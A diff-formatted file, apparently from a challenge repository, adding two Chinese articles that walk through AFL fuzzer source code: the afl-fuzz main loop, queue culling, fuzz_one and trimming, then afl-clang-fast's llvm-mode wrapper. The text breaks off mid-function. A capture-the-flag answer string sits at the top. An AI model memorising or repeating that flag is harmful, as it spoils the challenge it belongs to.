||||
|
||||
flag:flag{HJJIJOOMHHNBSEL}。
|
||||
|
||||

|
||||
@@ -0,0 +1,475 @@
|
||||
# AFL源码分析系列——afl-fuzz(3)
|
||||
> 有毒
|
||||
> 来源:https://www.iotsec-zone.com/article/274
|
||||
|
||||
**写在前面**
|
||||
|
||||
本文是afl-fuzz的源码解读的第三部分也是最后一部分,前面我们已经看到了 afl-fuzz 的初始化配置和第一次 fuzz 的过程,接下来就准备进入到核心的主循环中。
|
||||
|
||||
# afl-fuzz-3
|
||||
|
||||
## 1. 主循环之前
|
||||
|
||||
### 1. cull_queue
|
||||
|
||||
该函数主要是做主循环之前的一个队列精简的工作,其源码如下:
|
||||
|
||||
```c
|
||||
static void cull_queue(void) {
|
||||
|
||||
struct queue_entry* q;
|
||||
static u8 temp_v[MAP_SIZE >> 3];
|
||||
u32 i;
|
||||
|
||||
if (dumb_mode || !score_changed) return; // 如果处于dumb模式或者score没有发生变化(top_rated没有发生变化),直接返回
|
||||
|
||||
score_changed = 0;
|
||||
|
||||
memset(temp_v, 255, MAP_SIZE >> 3);
|
||||
// 设置temp_v大小为MAP_SIZE>>3,初始化为0xff,全1,表示还没有被覆盖到,为0表示被覆盖到了。
|
||||
|
||||
queued_favored = 0;
|
||||
pending_favored = 0;
|
||||
|
||||
q = queue;
|
||||
|
||||
while (q) { // 进行队列遍历
|
||||
q->favored = 0; // 所有元素的favored均设置为0
|
||||
q = q->next;
|
||||
}
|
||||
|
||||
/* Let's see if anything in the bitmap isn't captured in temp_v.
|
||||
If yes, and if it has a top_rated[] contender, let's use it. */
|
||||
|
||||
// i从0到MAP_SIZE进行迭代,筛选出一组队列条目,它们可以覆盖到所有现在已经覆盖的路径
|
||||
for (i = 0; i < MAP_SIZE; i++)
|
||||
if (top_rated[i] && (temp_v[i >> 3] & (1 << (i & 7)))) {
|
||||
|
||||
u32 j = MAP_SIZE >> 3;
|
||||
|
||||
/* Remove all bits belonging to the current entry from temp_v. */
|
||||
|
||||
// 从temp_v中,移除所有属于当前current-entry的byte,也就是这个testcase触发了多少path就给tempv标记上
|
||||
while (j--)
|
||||
if (top_rated[i]->trace_mini[j])
|
||||
temp_v[j] &= ~top_rated[i]->trace_mini[j];
|
||||
|
||||
top_rated[i]->favored = 1;
|
||||
queued_favored++;
|
||||
|
||||
if (!top_rated[i]->was_fuzzed) pending_favored++;
|
||||
|
||||
}
|
||||
|
||||
q = queue;
|
||||
|
||||
while (q) { // 遍历队列,不是favored的case(冗余的测试用例)被标记成redundant_edges
|
||||
mark_as_redundant(q, !q->favored); // 位置在/queue/.state/redundent_edges中
|
||||
q = q->next;
|
||||
}
|
||||
}
|
||||
|
||||
static struct queue_entry *queue, /* Fuzzing queue (linked list) */
|
||||
*queue_cur, /* Current offset within the queue */
|
||||
*queue_top, /* Top of the list */
|
||||
*q_prev100; /* Previous 100 marker */
|
||||
|
||||
```
|
||||
|
||||
这里以一个网上公开的例子来理解这个过程。现假设有如下tuple和seed信息:
|
||||
|
||||
- **tuple**: t0, t1, t2, t3, t4
|
||||
- **seed**: s0, s1, s2
|
||||
- 初始化 `temp_v = [1,1,1,1,1]`
|
||||
- s1可覆盖t2, t3,s2覆盖t0, t1, t4,并且top_rated[0] = s2,top_rated[2]=s1
|
||||
|
||||
将按照如下过程进行筛选和判断:
|
||||
|
||||
1. 首先判断 temp_v[0]=1,说明t0没有被覆盖;
|
||||
2. top_rated[0] 存在 (s2) -> 判断s2可以覆盖的范围 -> `trace_mini = [1,1,0,0,1]`;
|
||||
3. 更新 `temp_v=[0,0,1,1,0]`, 标记s2为 "favored";
|
||||
4. 继续判断 temp_v[1]=0,说明t1此时已经被覆盖,跳过;
|
||||
5. 继续判断 temp_v[2]=1,说明t2没有被覆盖;
|
||||
6. top_rated[2] 存在 (s1) -> 判断s1可以覆盖的范围 -> `trace_mini=[0,0,1,1,0]`;
|
||||
7. 更新 `temp_v=[0,0,0,0,0]`,标记s1为 "favored";
|
||||
8. 此时所有tuple都被覆盖,具备"favored'标记的为s1, s2,过程结束。
|
||||
|
||||
如果对这个过程还是不是很清楚,可以动态调试的时候看一下中间数据。
|
||||
|
||||
### 2. show_init_stats
|
||||
|
||||
该函数主要在处理输入目录的结尾现实一些统计信息:
|
||||
|
||||
```c
|
||||
static void show_init_stats(void) {
|
||||
|
||||
struct queue_entry* q = queue;
|
||||
u32 min_bits = 0, max_bits = 0;
|
||||
u64 min_us = 0, max_us = 0;
|
||||
u64 avg_us = 0;
|
||||
u32 max_len = 0;
|
||||
|
||||
if (total_cal_cycles) avg_us = total_cal_us / total_cal_cycles; // 计算单轮执行的时间,total_cal_cycles和total_cal_us数据来自于calibrate_case
|
||||
|
||||
while (q) {
|
||||
|
||||
if (!min_us || q->exec_us < min_us) min_us = q->exec_us;
|
||||
if (q->exec_us > max_us) max_us = q->exec_us;
|
||||
|
||||
if (!min_bits || q->bitmap_size < min_bits) min_bits = q->bitmap_size;
|
||||
if (q->bitmap_size > max_bits) max_bits = q->bitmap_size;
|
||||
|
||||
if (q->len > max_len) max_len = q->len;
|
||||
|
||||
q = q->next;
|
||||
|
||||
}
|
||||
|
||||
SAYF("\n");
|
||||
|
||||
if (avg_us > (qemu_mode ? 50000 : 10000)) // 单轮执行时间如果在非qemu_mode下,超过10000就给出warning
|
||||
WARNF(cLRD "The target binary is pretty slow! See %s/perf_tips.txt.",
|
||||
doc_path);
|
||||
|
||||
/* Let's keep things moving with slow binaries. */
|
||||
|
||||
if (avg_us > 50000) havoc_div = 10; /* 0-19 execs/sec */ // 根据不同的单轮时间设置不同的havoc_div的值
|
||||
else if (avg_us > 20000) havoc_div = 5; /* 20-49 execs/sec */
|
||||
else if (avg_us > 10000) havoc_div = 2; /* 50-100 execs/sec */
|
||||
|
||||
if (!resuming_fuzz) { // 非resuming_session情况下
|
||||
|
||||
if (max_len > 50 * 1024) // 根据不同的queue的大小和数量超限的情况给出警告
|
||||
WARNF(cLRD "Some test cases are huge (%s) - see %s/perf_tips.txt!",
|
||||
DMS(max_len), doc_path);
|
||||
else if (max_len > 10 * 1024)
|
||||
WARNF("Some test cases are big (%s) - see %s/perf_tips.txt.",
|
||||
DMS(max_len), doc_path);
|
||||
|
||||
if (useless_at_start && !in_bitmap) // 如果useless_at_start不为0,提示可以精简样本
|
||||
WARNF(cLRD "Some test cases look useless. Consider using a smaller set.");
|
||||
|
||||
if (queued_paths > 100) // 如果queued_paths大于了100的话,也是让精简样本
|
||||
WARNF(cLRD "You probably have far too many input files! Consider trimming down.");
|
||||
else if (queued_paths > 20)
|
||||
WARNF("You have lots of input files; try starting small.");
|
||||
|
||||
}
|
||||
|
||||
OKF("Here are some useful stats:\n\n" // 给出一些统计信息
|
||||
|
||||
cGRA " Test case count : " cRST "%u favored, %u variable, %u total\n"
|
||||
cGRA " Bitmap range : " cRST "%u to %u bits (average: %0.02f bits)\n"
|
||||
cGRA " Exec timing : " cRST "%s to %s us (average: %s us)\n",
|
||||
queued_favored, queued_variable, queued_paths, min_bits, max_bits,
|
||||
((double)total_bitmap_size) / (total_bitmap_entries ? total_bitmap_entries : 1),
|
||||
DI(min_us), DI(max_us), DI(avg_us));
|
||||
|
||||
if (!timeout_given) { // 如果没有设置超时的话,根据不同的情况计算执行的超时时间exec_tmout
|
||||
|
||||
/* Figure out the appropriate timeout. The basic idea is: 5x average or
|
||||
1x max, rounded up to EXEC_TM_ROUND ms and capped at 1 second.
|
||||
|
||||
If the program is slow, the multiplier is lowered to 2x or 3x, because
|
||||
random scheduler jitter is less likely to have any impact, and because
|
||||
our patience is wearing thin =) */
|
||||
|
||||
if (avg_us > 50000) exec_tmout = avg_us * 2 / 1000;
|
||||
else if (avg_us > 10000) exec_tmout = avg_us * 3 / 1000;
|
||||
else exec_tmout = avg_us * 5 / 1000;
|
||||
|
||||
exec_tmout = MAX(exec_tmout, max_us / 1000);
|
||||
exec_tmout = (exec_tmout + EXEC_TM_ROUND) / EXEC_TM_ROUND * EXEC_TM_ROUND;
|
||||
|
||||
if (exec_tmout > EXEC_TIMEOUT) exec_tmout = EXEC_TIMEOUT;
|
||||
|
||||
ACTF("No -t option specified, so I'll use exec timeout of %u ms.",
|
||||
exec_tmout);
|
||||
|
||||
timeout_given = 1;
|
||||
|
||||
} else if (timeout_given == 3) { // 如果设置了超时时间,就直接使用设置的超时时间
|
||||
|
||||
ACTF("Applying timeout settings from resumed session (%u ms).", exec_tmout);
|
||||
|
||||
}
|
||||
|
||||
/* In dumb mode, re-running every timing out test case with a generous time
|
||||
limit is very expensive, so let's select a more conservative default. */
|
||||
|
||||
if (dumb_mode && !getenv("AFL_HANG_TMOUT")) // 如果处于dumb模式并且没有 AFL_HANG_TMPOUT 环境变量的话,设置hang_tmout
|
||||
hang_tmout = MIN(EXEC_TIMEOUT, exec_tmout * 2 + 100);
|
||||
|
||||
OKF("All set and ready to roll!");
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
函数的整体流程还是比较简单的,主要就是计算单轮的执行时间、超时时间等信息,然后显式出来。
|
||||
|
||||
### 3. find_start_position
|
||||
|
||||
如果处于resuming的情况时,该函数会尝试查找要从其开始的队列位置,而且还要求我们能找到原始的fuzzer_stats。
|
||||
|
||||
1. 如果不是 resming_fuzz,直接返回;
|
||||
2. 如果是**in_place_resume**,打开 `out_dir/fuzzer_stats` 文件,否则打开`in_dir/../fuzzer_stats` 文件
|
||||
3. 读取文件内容到tmp[4096]中,找到`cur_path`,并设置为ret的值,如果大于queued_paths就设置ret为0,返回ret。
|
||||
|
||||
### 4. write_stats_file
|
||||
|
||||
该函数主要是更新统计信息文件以进行无值守monitor:
|
||||
|
||||
```c
|
||||
static void write_stats_file(double bitmap_cvg, double stability, double eps) {
|
||||
... ...
|
||||
u8* fn = alloc_printf("%s/fuzzer_stats", out_dir); // 获取fd
|
||||
... ...
|
||||
|
||||
fd = open(fn, O_WRONLY | O_CREAT | O_TRUNC, 0600); // 600权限打开状态文件
|
||||
|
||||
if (fd < 0) PFATAL("Unable to create '%s'", fn);
|
||||
|
||||
ck_free(fn);
|
||||
|
||||
f = fdopen(fd, "w"); // 可写权限打开
|
||||
... ...
|
||||
|
||||
// 开始写入统计信息
|
||||
fprintf(f, "start_time : %llu\n" // 开始时间
|
||||
"last_update : %llu\n" // 当前时间
|
||||
"fuzzer_pid : %u\n" // fuzzer的进程id
|
||||
"cycles_done : %llu\n" // queue队列被完全变异一次的次数
|
||||
"execs_done : %llu\n" // target的总的执行次数,执行一次run_target,数值就会+1
|
||||
"execs_per_sec : %0.02f\n" // 每秒执行的次数
|
||||
"paths_total : %u\n" // queue队列中的样例总数
|
||||
"paths_favored : %u\n" // “有价值的”路径总数
|
||||
"paths_found : %u\n" // 发现的新的queue entry的数目
|
||||
"paths_imported : %u\n" // 在master-slave模式下,sync过来的case是interesting的,就+1
|
||||
"max_depth : %u\n" // 最大路径深度
|
||||
"cur_path : %u\n" /* Must match find_start_position() */
|
||||
"pending_favs : %u\n" // 等待fuzz的facvored路径数
|
||||
"pending_total : %u\n" // 等待fuzz的case数
|
||||
"variable_paths : %u\n" // calibrate_case在评估新的test case时,如果case的路径可变,则计数器+1
|
||||
"stability : %0.02f%%\n"
|
||||
"bitmap_cvg : %0.02f%%\n"
|
||||
"unique_crashes : %llu\n" // 在save_if_interesting时,如fault是FAULT_CRASH,则+1
|
||||
"unique_hangs : %llu\n" // 如fault是FAULT_TMOUT,则+1
|
||||
"last_path : %llu\n" // 在add_to_queue是,设置一次last_path_time为当前时间
|
||||
"last_crash : %llu\n" // last_crash时间更新
|
||||
"last_hang : %llu\n" // lash_hang时间更新
|
||||
"execs_since_crash : %llu\n" // 在上一次crash时总计执行了多少次
|
||||
"exec_timeout : %u\n" /* Must match find_timeout() */
|
||||
"afl_banner : %s\n"
|
||||
"afl_version : " VERSION "\n"
|
||||
"target_mode : %s%s%s%s%s%s%s\n"
|
||||
"command_line : %s\n"
|
||||
"slowest_exec_ms : %llu\n",
|
||||
start_time / 1000, get_cur_time() / 1000, getpid(),
|
||||
queue_cycle ? (queue_cycle - 1) : 0, total_execs, eps,
|
||||
queued_paths, queued_favored, queued_discovered, queued_imported,
|
||||
max_depth, current_entry, pending_favored, pending_not_fuzzed,
|
||||
queued_variable, stability, bitmap_cvg, unique_crashes,
|
||||
unique_hangs, last_path_time / 1000, last_crash_time / 1000,
|
||||
last_hang_time / 1000, total_execs - last_crash_execs,
|
||||
exec_tmout, use_banner,
|
||||
qemu_mode ? "qemu " : "", dumb_mode ? " dumb " : "",
|
||||
no_forkserver ? "no_forksrv " : "", crash_mode ? "crash " : "",
|
||||
persistent_mode ? "persistent " : "", deferred_mode ? "deferred " : "",
|
||||
(qemu_mode || dumb_mode || no_forkserver || crash_mode ||
|
||||
persistent_mode || deferred_mode) ? "" : "default",
|
||||
orig_cmdline, slowest_exec_ms);
|
||||
/* ignore errors */
|
||||
if (getrusage(RUSAGE_CHILDREN, &usage)) {
|
||||
WARNF("getrusage failed");
|
||||
} else if (usage.ru_maxrss == 0) {
|
||||
fprintf(f, "peak_rss_mb : not available while afl is running\n");
|
||||
} else {
|
||||
... ...
|
||||
fprintf(f, "peak_rss_mb : %zu\n", usage.ru_maxrss >> 10);
|
||||
... ...
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
该函数主要是看打印的几个参数都是怎么计算的,这些参数也是 afl 的界面中显示的各种信息。中间会涉及到一些函数暂时还没有写到,后续会跟进。
|
||||
|
||||
### 阶段总结
|
||||
|
||||
截止到目前为止,afl完成了进入主循环之前的配置工作,再来回顾一下涉及的流程:
|
||||
|
||||

|
||||
|
||||
## 2. 主循环
|
||||
|
||||
在完成前面的环境准备工作和输入校验后,接下来就进入一个 while 循环,这个循环是 afl-fuzz.c 的一个实现fuzz的主循环,源码如下:
|
||||
|
||||
```c
|
||||
// 进入主循环
|
||||
while (1) {
|
||||
|
||||
u8 skipped_fuzz;
|
||||
|
||||
cull_queue(); // 首先精简队列
|
||||
|
||||
if (!queue_cur) { // 首先判断当前队列是否为空,为空表示所有的queue都执行完一轮了
|
||||
|
||||
queue_cycle++; // 所有queue的轮次计数器+1
|
||||
current_entry = 0; // 设置entry为0.准备开始新一轮fuzz
|
||||
cur_skipped_paths = 0;
|
||||
queue_cur = queue; // 设置为queue首元素
|
||||
|
||||
while (seek_to) { // 这里判断是不是resume fuzz的情况,如果是检查seek_to是否为空,不为空的话就从seek_to指定的queue元素开始执行
|
||||
current_entry++;
|
||||
seek_to--;
|
||||
queue_cur = queue_cur->next;
|
||||
}
|
||||
|
||||
show_stats(); // 刷新展示界面
|
||||
... ...
|
||||
|
||||
if (queued_paths == prev_queued) { // 这里是判断一轮执行后的queue的case数量和执行之前一样的话,表示这一轮执行没有发现新的case
|
||||
|
||||
if (use_splicing) cycles_wo_finds++; else use_splicing = 1; // 使用splice重组queue中的case
|
||||
|
||||
} else cycles_wo_finds = 0;
|
||||
|
||||
prev_queued = queued_paths;
|
||||
|
||||
if (sync_id && queue_cycle == 1 && getenv("AFL_IMPORT_FIRST")) // 在Master-Slave模式下时,进行case同步
|
||||
sync_fuzzers(use_argv);
|
||||
|
||||
}
|
||||
|
||||
skipped_fuzz = fuzz_one(use_argv); // 执行一次fuzz,成功返回0,如果是跳过fuzz或其他失败情况返回1
|
||||
|
||||
// 如果出现用户取消fuzz的情况
|
||||
if (!stop_soon && sync_id && !skipped_fuzz) {
|
||||
|
||||
if (!(sync_interval_cnt++ % SYNC_INTERVAL))
|
||||
sync_fuzzers(use_argv);
|
||||
}
|
||||
|
||||
if (!stop_soon && exit_1) stop_soon = 2;
|
||||
|
||||
if (stop_soon) break; // 如果ctrl + c,直接退出循环,结束fuzz
|
||||
|
||||
queue_cur = queue_cur->next; // 获取下一个case
|
||||
current_entry++; // entry + 1
|
||||
}
|
||||
```
|
||||
|
||||
整体的流程如下:
|
||||
|
||||
1. 判断 `queue_cur` 是否为空,如果是则表示已经完成队列遍历,初始化相关参数,重新开始一轮;
|
||||
2. 找到queue入口的case,直接跳到该case;
|
||||
3. 如果一整个队列循环都没新发现,尝试重组策略;
|
||||
4. 调用函数 `fuzz_one()` 对 case进行 fuzz;
|
||||
5. 再对队列的下一个case 进行 fuzz。队列中的所有 case 都完成一轮之后,就完成了一个 ”cycle”,就是AFL状态栏右上角的 ”cycles done”。然后,整个队列又会从第一个文件开始,再次进行变异fuzz。与第一次不同的是,这一次不再进行 “deterministic fuzzing” 了。
|
||||
|
||||
### fuzz_one
|
||||
|
||||
这是实际完成 "fuzz" 功能的关键函数,总代码量超1k多行,主要承担了变异的测试的工作,里面包含了多个变异阶段和策略。(由于该函数的代码量较大,我们这里只贴出一部分关键代码,强烈建议大家仔细阅读源码。)
|
||||
|
||||
函数的整体过程如下:
|
||||
|
||||
1. 根据是否有 `pending_favored` 和`queue_cur`的情况,按照概率进行跳过;有`pending_favored`, 对于已经fuzz过的或者non-favored的有99%的概率跳过;无pending_favored,95%跳过fuzzed&non-favored,75%跳过not fuzzed&non-favored,不跳过favored;
|
||||
|
||||
```c
|
||||
if (pending_favored) {
|
||||
if ((queue_cur->was_fuzzed || !queue_cur->favored) &&
|
||||
UR(100) < SKIP_TO_NEW_PROB) return 1; // 已经被fuzz过或者不是favored的
|
||||
} else if (!dumb_mode && !queue_cur->favored && queued_paths > 10) {
|
||||
if (queue_cycle > 1 && !queue_cur->was_fuzzed) { // 轮次大于1且没有被fuzz过
|
||||
if (UR(100) < SKIP_NFAV_NEW_PROB) return 1;
|
||||
} else {
|
||||
if (UR(100) < SKIP_NFAV_OLD_PROB) return 1; // 已经被fuzz过
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
2. 假如 `queue_cur` 有校准错误,并且校准错误次数小于3次,那么就用 `calibrate_case` 进行 case 校准;
|
||||
|
||||
```c
|
||||
if (queue_cur->cal_failed < CAL_CHANCES) {
|
||||
queue_cur->exec_cksum = 0;
|
||||
res = calibrate_case(argv, queue_cur, in_buf, queue_cycle - 1, 0);
|
||||
... ...
|
||||
}
|
||||
```
|
||||
|
||||
3. 如果case 没有进行过修剪(queue_cur->trim_done = 0),那么调用函数 `trim_case` 对**queue_cur**进行修剪;
|
||||
|
||||
```c
|
||||
u8 res = trim_case(argv, queue_cur, in_buf);
|
||||
```
|
||||
|
||||
4. 修剪完毕之后,使用 `calculate_score` 对 `queue_cur` 进行打分;
|
||||
|
||||
```c
|
||||
orig_perf = perf_score = calculate_score(queue_cur);
|
||||
```
|
||||
|
||||
5. 如果该queue已经完成deterministic阶段,则直接跳到havoc阶段;
|
||||
|
||||
```c
|
||||
if (skip_deterministic || queue_cur->was_fuzzed || queue_cur->passed_det)
|
||||
goto havoc_stage;
|
||||
if (master_max && (queue_cur->exec_cksum % master_max) != master_id - 1)
|
||||
goto havoc_stage;
|
||||
```
|
||||
|
||||
6. deterministic阶段变异4个stage,变异过程中会多次调用函数common_fuzz_stuff函数,保存interesting 的种子:
|
||||
|
||||
- bitflip,按位翻转,1变为0,0变为1
|
||||
- arithmetic,整数加/减算术运算
|
||||
- interest,把一些特殊内容替换到原文件中
|
||||
- dictionary,把自动生成或用户提供的token替换/插入到原文件中
|
||||
- havoc,中文意思是“大破坏”,此阶段会对原文件进行大量变异。
|
||||
- splice,中文意思是“绞接”,此阶段会将两个文件拼接起来得到一个新的文件。
|
||||
|
||||
7. 该轮完成。
|
||||
|
||||
我们暂时没有对变异部分进行详细分析,这里感兴趣的小伙伴可自行探索。
|
||||
|
||||
### trim_case
|
||||
|
||||
该函数主要是对测试用例进行校验时,会修剪所有新的测试用例来节省fuzz 周期。
|
||||
|
||||
1. 首先取 case 长度 2 的指数倍;
|
||||
2. 第一个while循环,从文件大小1/16的步长开始,慢慢到文件大小的1/1024倍步长。
|
||||
3. 第二个while循环,嵌套在第一个内,从文件头开始按步长修剪case,然后 `target_run();` 如果删除之后对文件执行路径没有影响那么就将这个删除保存至实际文件中。再删除之前会将trace_bits保存到起来。删除完成之后重新拷贝。
|
||||
|
||||
如果相对 afl 如何进行文件修剪进行更深入的研究,我建议大家去看 afl-trim 工具的源码,它使用了更详尽的迭代算法,并且尝试在修剪过的文件上执行字母标准化。
|
||||
|
||||
### calculate_score
|
||||
|
||||
根据case的执行速度、bitmap的大小、case产生时间、路径深度等因素给case进行打分,返回值为一个分数,用来调整在havoc阶段的用时。使得执行时间短、代码覆盖高、新发现的、路径深度深的case拥有更多havoc变异的机会。
|
||||
|
||||
### common_fuzz_stuff
|
||||
|
||||
编写修改后的测试用例,运行程序,处理结果。处理错误条件,如果需要退出,返回1。它其实就是写入文件并执行,然后处理结果,出错就返回1。
|
||||
|
||||
1. write_to_testcase() 将变异写到文件中;
|
||||
2. run_target() ;
|
||||
3. save_if_interesting() 判断一个文件是否为interesting种子,如果是那么就保存输入文件(queue)。
|
||||
|
||||
### sync_fuzzers
|
||||
|
||||
读取其他 sync 文件夹下的 queue文件到自己的queue中,具体过程是先读取有哪些fuzzer文件夹,然后读取其他fuzzer文件夹下的queue文件夹里的case,并依次执行,如果发现了新path,就保存到自己的queue文件夹里,而且将最后一个sync的case id写入到`.synced/其他fuzzer文件夹名`文件里,以避免重复运行。
|
||||
|
||||
## 3. 主循环后
|
||||
|
||||
上面的 fuzz 循环结束后,后续的流程就是处理 fuzz 的结果,然后进行一些清理工作:
|
||||
|
||||
1. write_bitmap: 将 bitmap 信息写入到 `out_dir/fuzz_bitmap` 文件中,主要是在使用 -B 选项时使用。
|
||||
2. write_stats_file(0,0,0): 更新统计信息
|
||||
3. save_auto: 保存生成的 extras
|
||||
4. destroy_queue:destroy 整个 queue
|
||||
5. destroy_extras:destroy 所有的 extras
|
||||
|
||||
## 阶段总结
|
||||
|
||||
到这里为止,我们对 afl-fuzz.c 文件的源码分析也就结束了,其中略过了一些不属于 fuzz 过程关键点(个人认为)的内容,比如变异策略部分。其实最关键的函数是 `perform_dry_run()`、`fuzz_one()` 这两个函数,对于前期的初始化设置阶段和后来的结果处理阶段,本质上并没有特别需要关注的地方,属于一个工具的常规内容。如果我们想尝试去改进或定制 afl,可能根据需要去修改变异策略、输入读取等内容即可,而对于队列和共享内存的处理,如果没有特别的性能需求,可以直接使用原生代码即可。对于覆盖率部分,则是更强调工具优化。
|
||||
@@ -0,0 +1,824 @@
|
||||
# AFL源码分析系列(三)-- afl-llvm-mode
|
||||
> 有毒
|
||||
> 来源:https://www.iotsec-zone.com/article/197
|
||||
|
||||
# llvm-mode
|
||||
|
||||
AFL 开发了 llvm-mode 来替代传统的 `afl-gcc/clang` 编译方式。常规的 `afl-gcc/clang` 模式是在汇编级别进行指令重写(包含新增和优化)来实现插桩,而 llvm-mode 是在编译器级别进行插桩,这有几个优势:
|
||||
|
||||
- 编译器可以进行许多在手动插入汇编时难以实现的优化,因此对于一些受CPU性能影响导致运行速度很慢的程序可以提升2倍左右的运行速度。但是这种速度上的提升在一些二进制文件时比较一般,大概只有10%左右的提升。
|
||||
- 编译器级别的插桩是独立于CPU的。在原则上,可以利用这个特性在一些非x86的架构上去fuzz程序(需要设置环境变量AFL_NO_X86=1来编译afl-fuzz)。
|
||||
- 这种插桩可以更好地应对多线程场景。
|
||||
- llvm-mode 会以来 LLVM 的内核,所以这种模式是特定于 clang 的,不能和 GCC 一起使用。
|
||||
|
||||
# afl-clang-fast.c
|
||||
|
||||
## 1. 文件描述
|
||||
|
||||
该文件可以看作是 `clang` 的一个 wrapper ,在大多数的功能上与 `afl-gcc` 类似。在该文件中,会尝试确认编译模式,然后根据不同情况添加一些编译标志,最后去调用真正的编译器。
|
||||
|
||||
## 2. 文件架构
|
||||
|
||||

|
||||
|
||||
文件内部有3个函数:`main` 、`find_obj`、 `edit_params`,使用到的数据结构和变量基本都遇见过,包含的头文件也都见过,结构整体上还是比较简单的。
|
||||
|
||||
## 3. 源码分析
|
||||
|
||||
### 1. 部分关键变量
|
||||
|
||||
```c
|
||||
static u8* obj_path; /* Path to runtime libraries */
|
||||
static u8** cc_params; /* Parameters passed to the real CC */
|
||||
static u32 cc_par_cnt = 1; /* Param count, including argv0 */
|
||||
```
|
||||
|
||||
基本没有特殊的变量定义,`obj_path` 变量保存的是运行时库的路径。
|
||||
|
||||
### 2. main函数
|
||||
|
||||
```c
|
||||
/* Main entry point */
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
|
||||
if (isatty(2) && !getenv("AFL_QUIET")) {
|
||||
|
||||
#ifdef USE_TRACE_PC
|
||||
SAYF(cCYA "afl-clang-fast [tpcg] " cBRI VERSION cRST " by <[email protected]>\n");
|
||||
#else
|
||||
SAYF(cCYA "afl-clang-fast " cBRI VERSION cRST " by <[email protected]>\n");
|
||||
#endif /* ^USE_TRACE_PC */
|
||||
|
||||
}
|
||||
|
||||
if (argc < 2) {
|
||||
... ...
|
||||
}
|
||||
|
||||
#ifndef __ANDROID__
|
||||
find_obj(argv[0]);
|
||||
#endif
|
||||
|
||||
edit_params(argc, argv);
|
||||
execvp(cc_params[0], (char**)cc_params);
|
||||
FATAL("Oops, failed to execute '%s' - check your PATH", cc_params[0]);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
`main` 函数主要还是作为程序入口,核心功能由 `find_obj(argv[0])` 和 `edit_params(argc, argv)` 来完成,处理完路径和参数后,调用 `execvp(cc_params[0], (char**)cc_params)` 去执行。
|
||||
|
||||
>`main` 函数中有对 `USE_TRACE_PC` 宏的判断,这个宏表示的其实是 `AFL_TRACE_PC`这个环境变量。该变量来自于新版本的LLVM中的内置的执行跟踪的功能,利用这个功能,AFL 可以直接调用 LLVM 的跟踪数据,而无需再对汇编进行处理或者安装其他的编译器插件。如果设置了这个宏,表示使用 LLVM 内置的跟踪功能,如果没有,则使用常规的 AFL 自实现的llvm的pass:*afl-llvm-pass.so* 来进行插桩。该特性的详细内容可以参考 [http://clang.llvm.org/docs/SanitizerCoverage.html#tracing-pcs-with-guards](http://clang.llvm.org/docs/SanitizerCoverage.html#tracing-pcs-with-guards)。
|
||||
|
||||
### 3. find_obj函数
|
||||
|
||||
该函数主要是查找 runtime libraries 的路径:
|
||||
|
||||
```c
|
||||
/* Try to find the runtime libraries. If that fails, abort. */
|
||||
|
||||
static void find_obj(u8* argv0) {
|
||||
|
||||
u8 *afl_path = getenv("AFL_PATH");
|
||||
u8 *slash, *tmp;
|
||||
|
||||
if (afl_path) {
|
||||
|
||||
tmp = alloc_printf("%s/afl-llvm-rt.o", afl_path);
|
||||
|
||||
if (!access(tmp, R_OK)) {
|
||||
obj_path = afl_path;
|
||||
ck_free(tmp);
|
||||
return;
|
||||
}
|
||||
ck_free(tmp);
|
||||
}
|
||||
|
||||
slash = strrchr(argv0, '/');
|
||||
if (slash) {
|
||||
|
||||
u8 *dir;
|
||||
*slash = 0;
|
||||
dir = ck_strdup(argv0);
|
||||
*slash = '/';
|
||||
|
||||
tmp = alloc_printf("%s/afl-llvm-rt.o", dir);
|
||||
|
||||
if (!access(tmp, R_OK)) {
|
||||
obj_path = dir;
|
||||
ck_free(tmp);
|
||||
return;
|
||||
}
|
||||
ck_free(tmp);
|
||||
ck_free(dir);
|
||||
}
|
||||
|
||||
if (!access(AFL_PATH "/afl-llvm-rt.o", R_OK)) {
|
||||
obj_path = AFL_PATH;
|
||||
return;
|
||||
}
|
||||
FATAL("Unable to find 'afl-llvm-rt.o' or 'afl-llvm-pass.so'. Please set AFL_PATH");
|
||||
}
|
||||
```
|
||||
|
||||
1. 获取环境变量 `AFL_PATH` ,赋值给 `afl_path`。如果找到,拼接 `$afl_path/afl-llvm-rt.o` ,并确定可以访问,然后把该路径赋值给 `obj_path`;
|
||||
2. 如果获取失败,找最后一个 `/` ,提取其 dir ,然后拼接成 `$dir/afl-llvm-rt.o` ,并确定可以访问,然后把该路径赋值给 `obj_path`。
|
||||
|
||||
`afl-llvm-rt.o` 由 `afl-llvm-rt.o.c` 编译获得,我们在后面会介绍该文件,这就是运行时库。
|
||||
|
||||
### 4. edit_params函数
|
||||
|
||||
该函数会根据各种不同的情况,添加不同的编译选项:
|
||||
|
||||
```c
|
||||
/* Copy argv to cc_params, making the necessary edits. */
|
||||
|
||||
static void edit_params(u32 argc, char** argv) {
|
||||
|
||||
u8 fortify_set = 0, asan_set = 0, x_set = 0, bit_mode = 0;
|
||||
u8 *name;
|
||||
|
||||
cc_params = ck_alloc((argc + 128) * sizeof(u8*));
|
||||
|
||||
name = strrchr(argv[0], '/');
|
||||
if (!name) name = argv[0]; else name++;
|
||||
if (!strcmp(name, "afl-clang-fast++")) {
|
||||
u8* alt_cxx = getenv("AFL_CXX");
|
||||
cc_params[0] = alt_cxx ? alt_cxx : (u8*)"clang++";
|
||||
} else {
|
||||
u8* alt_cc = getenv("AFL_CC");
|
||||
cc_params[0] = alt_cc ? alt_cc : (u8*)"clang";
|
||||
}
|
||||
|
||||
/* There are two ways to compile afl-clang-fast. In the traditional mode, we
|
||||
use afl-llvm-pass.so to inject instrumentation. In the experimental
|
||||
'trace-pc-guard' mode, we use native LLVM instrumentation callbacks
|
||||
instead. The latter is a very recent addition - see:
|
||||
|
||||
http://clang.llvm.org/docs/SanitizerCoverage.html#tracing-pcs-with-guards */
|
||||
|
||||
#ifdef USE_TRACE_PC
|
||||
cc_params[cc_par_cnt++] = "-fsanitize-coverage=trace-pc-guard";
|
||||
... ...
|
||||
#else
|
||||
cc_params[cc_par_cnt++] = "-Xclang";
|
||||
cc_params[cc_par_cnt++] = "-load";
|
||||
cc_params[cc_par_cnt++] = "-Xclang";
|
||||
cc_params[cc_par_cnt++] = alloc_printf("%s/afl-llvm-pass.so", obj_path);
|
||||
#endif /* ^USE_TRACE_PC */
|
||||
|
||||
